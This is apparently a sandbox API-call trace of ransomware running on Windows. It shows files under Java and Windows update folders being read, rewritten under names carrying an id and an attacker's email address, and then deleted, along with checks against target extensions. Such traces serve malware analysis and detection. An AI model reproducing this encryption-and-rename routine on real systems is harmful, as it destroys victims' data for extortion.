	[0086.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0086.826] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0086.826] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc64 | out: lpNewFilePointer=0x0) returned 1
	[0086.826] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc24 | out: lpNewFilePointer=0x0) returned 1
	[0086.826] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ac3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3ac3058*, lpNumberOfBytesRead=0x2fdfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0086.830] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc24 | out: lpNewFilePointer=0x0) returned 1
	[0086.830] ReadFile (in: hFile=0x2f8, lpBuffer=0x3b03058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3b03058*, lpNumberOfBytesRead=0x2fdfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0086.836] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fdfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.836] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc24 | out: lpNewFilePointer=0x0) returned 1
	[0086.836] ReadFile (in: hFile=0x2f8, lpBuffer=0x3b43058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3b43058*, lpNumberOfBytesRead=0x2fdfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0087.399] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.399] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2fdfca8, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfca8*=0xc0106, lpOverlapped=0x0) returned 1
	[0087.416] SetEndOfFile (hFile=0x2f8) returned 1
	[0087.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x42839d0
	[0087.421] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc74 | out: lpNewFilePointer=0x0) returned 1
	[0087.421] WriteFile (in: hFile=0x2f8, lpBuffer=0x42839d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fdfc80, lpOverlapped=0x0 | out: lpBuffer=0x42839d0*, lpNumberOfBytesWritten=0x2fdfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0087.422] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc74 | out: lpNewFilePointer=0x0) returned 1
	[0087.422] WriteFile (in: hFile=0x2f8, lpBuffer=0x42839d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fdfc80, lpOverlapped=0x0 | out: lpBuffer=0x42839d0*, lpNumberOfBytesWritten=0x2fdfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0087.423] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc74 | out: lpNewFilePointer=0x0) returned 1
	[0087.423] WriteFile (in: hFile=0x2f8, lpBuffer=0x42839d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fdfc80, lpOverlapped=0x0 | out: lpBuffer=0x42839d0*, lpNumberOfBytesWritten=0x2fdfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0087.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.425] CloseHandle (hObject=0x2f8) returned 1
	[0087.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0087.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0087.425] lstrlenW (lpString=".doc") returned 4
	[0087.425] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.426] lstrlenW (lpString=".docx") returned 5
	[0087.426] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0087.426] lstrlenW (lpString=".pdf") returned 4
	[0087.426] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.426] lstrlenW (lpString=".xls") returned 4
	[0087.426] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.426] lstrlenW (lpString=".xlsx") returned 5
	[0087.426] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0087.426] lstrlenW (lpString=".ppt") returned 4
	[0087.426] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0087.426] lstrlenW (lpString=".zip") returned 4
	[0087.426] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.426] lstrlenW (lpString=".rar") returned 4
	[0087.426] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.426] lstrlenW (lpString=".bz2") returned 4
	[0087.426] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.426] lstrlenW (lpString=".7z") returned 3
	[0087.426] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0087.426] lstrlenW (lpString=".dbf") returned 4
	[0087.426] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0087.426] lstrlenW (lpString=".1cd") returned 4
	[0087.426] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0087.426] lstrlenW (lpString=".jpg") returned 4
	[0087.426] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0087.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0087.427] lstrlenW (lpString=".doc") returned 4
	[0087.427] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.427] lstrlenW (lpString=".docx") returned 5
	[0087.427] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0087.427] lstrlenW (lpString=".pdf") returned 4
	[0087.427] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.427] lstrlenW (lpString=".xls") returned 4
	[0087.427] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.427] lstrlenW (lpString=".xlsx") returned 5
	[0087.427] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0087.427] lstrlenW (lpString=".ppt") returned 4
	[0087.427] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0087.427] lstrlenW (lpString=".zip") returned 4
	[0087.427] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.427] lstrlenW (lpString=".rar") returned 4
	[0087.427] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.427] lstrlenW (lpString=".bz2") returned 4
	[0087.427] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.427] lstrlenW (lpString=".7z") returned 3
	[0087.427] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0087.427] lstrlenW (lpString=".dbf") returned 4
	[0087.427] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0087.427] lstrlenW (lpString=".1cd") returned 4
	[0087.427] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0087.427] lstrlenW (lpString=".jpg") returned 4
	[0087.427] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.428] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0087.428] lstrlenW (lpString="mlib_image.dll") returned 14
	[0087.428] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0087.429] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=653888) returned 1
	[0087.429] CloseHandle (hObject=0x2f8) returned 1
	[0087.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 0x20
	[0087.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.429] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0087.430] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.430] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.430] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0087.431] GetLastError () returned 0x0
	[0087.431] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x9fa40, lpOverlapped=0x0) returned 1
	[0087.762] WriteFile (in: hFile=0x338, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x9fa50, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x9fa50, lpOverlapped=0x0) returned 1
	[0087.773] ReadFile (in: hFile=0x2f8, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.773] WriteFile (in: hFile=0x338, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf0, lpOverlapped=0x0) returned 1
	[0087.773] SetEndOfFile (hFile=0x338) returned 1
	[0087.773] CloseHandle (hObject=0x338) returned 1
	[0087.774] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.774] SetEndOfFile (hFile=0x2f8) returned 1
	[0087.779] CloseHandle (hObject=0x2f8) returned 1
	[0087.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.780] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 1
	[0087.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0087.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0087.780] lstrlenW (lpString=".doc") returned 4
	[0087.780] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.780] lstrlenW (lpString=".docx") returned 5
	[0087.780] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0087.780] lstrlenW (lpString=".pdf") returned 4
	[0087.780] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.780] lstrlenW (lpString=".xls") returned 4
	[0087.780] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.780] lstrlenW (lpString=".xlsx") returned 5
	[0087.780] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0087.780] lstrlenW (lpString=".ppt") returned 4
	[0087.780] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0087.780] lstrlenW (lpString=".zip") returned 4
	[0087.780] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.780] lstrlenW (lpString=".rar") returned 4
	[0087.780] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.780] lstrlenW (lpString=".bz2") returned 4
	[0087.780] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.780] lstrlenW (lpString=".7z") returned 3
	[0087.780] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.780] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0087.781] lstrlenW (lpString=".dbf") returned 4
	[0087.781] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0087.781] lstrlenW (lpString=".1cd") returned 4
	[0087.781] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0087.781] lstrlenW (lpString=".jpg") returned 4
	[0087.781] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0087.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0087.781] lstrlenW (lpString=".doc") returned 4
	[0087.781] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.781] lstrlenW (lpString=".docx") returned 5
	[0087.781] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0087.781] lstrlenW (lpString=".pdf") returned 4
	[0087.781] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.781] lstrlenW (lpString=".xls") returned 4
	[0087.781] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.781] lstrlenW (lpString=".xlsx") returned 5
	[0087.781] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0087.781] lstrlenW (lpString=".ppt") returned 4
	[0087.781] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0087.781] lstrlenW (lpString=".zip") returned 4
	[0087.781] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.781] lstrlenW (lpString=".rar") returned 4
	[0087.781] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.781] lstrlenW (lpString=".bz2") returned 4
	[0087.781] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.781] lstrlenW (lpString=".7z") returned 3
	[0087.781] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0087.781] lstrlenW (lpString=".dbf") returned 4
	[0087.782] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0087.782] lstrlenW (lpString=".1cd") returned 4
	[0087.782] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53
	[0087.782] lstrlenW (lpString=".jpg") returned 4
	[0087.782] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.782] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0087.782] lstrlenW (lpString="net.dll") returned 7
	[0087.782] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 14
	os_tid = 0xe44

	[0057.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3bd0048
	[0057.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3be0050
	[0057.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5492f8
	[0057.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x5468e8
	[0057.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549508
	[0057.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3cd1020
	[0057.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5493a0
	[0057.890] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5493a0, Size=0x20) returned 0x52d908
	[0057.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549310
	[0057.890] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x549310, Size=0x20) returned 0x52d930
	[0057.890] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0057.890] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0057.890] Wow64DisableWow64FsRedirection (in: OldValue=0x311ff50 | out: OldValue=0x311ff50*=0x0) returned 1
	[0057.890] lstrlenW (lpString="kernel32.dll") returned 12
	[0057.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d908 | out: hHeap=0x4f0000) returned 1
	[0057.890] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0057.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d930 | out: hHeap=0x4f0000) returned 1
	[0057.890] Sleep (dwMilliseconds=0x64) 
	[0059.726] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0059.726] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18
	[0059.726] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0059.728] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=144072) returned 1
	[0059.729] CloseHandle (hObject=0x2e4) returned 1
	[0059.729] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20
	[0059.729] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0059.729] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0059.729] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.729] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.729] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0059.730] GetLastError () returned 0x0
	[0059.730] ReadFile (in: hFile=0x2e4, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x232c8, lpOverlapped=0x0) returned 1
	[0059.748] WriteFile (in: hFile=0x2e8, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x232d0, lpOverlapped=0x0) returned 1
	[0059.751] ReadFile (in: hFile=0x2e4, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0059.751] WriteFile (in: hFile=0x2e8, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0059.751] SetEndOfFile (hFile=0x2e8) returned 1
	[0059.752] CloseHandle (hObject=0x2e8) returned 1
	[0059.756] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.756] SetEndOfFile (hFile=0x2e4) returned 1
	[0059.758] CloseHandle (hObject=0x2e4) returned 1
	[0059.758] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0059.759] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1
	[0059.759] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0059.759] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0059.759] lstrlenW (lpString=".doc") returned 4
	[0059.759] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0059.759] lstrlenW (lpString=".docx") returned 5
	[0059.759] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1
	[0059.759] lstrlenW (lpString=".pdf") returned 4
	[0059.759] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0059.759] lstrlenW (lpString=".xls") returned 4
	[0059.759] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0059.759] lstrlenW (lpString=".xlsx") returned 5
	[0059.759] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1
	[0059.759] lstrlenW (lpString=".ppt") returned 4
	[0059.759] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0059.759] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0059.759] lstrlenW (lpString=".zip") returned 4
	[0059.759] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0059.759] lstrlenW (lpString=".rar") returned 4
	[0059.759] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0059.760] lstrlenW (lpString=".bz2") returned 4
	[0059.760] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0059.760] lstrlenW (lpString=".7z") returned 3
	[0059.760] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0059.760] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0059.760] lstrlenW (lpString=".dbf") returned 4
	[0059.760] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0059.760] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0059.760] lstrlenW (lpString=".1cd") returned 4
	[0059.760] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0059.760] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0059.760] lstrlenW (lpString=".jpg") returned 4
	[0059.761] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
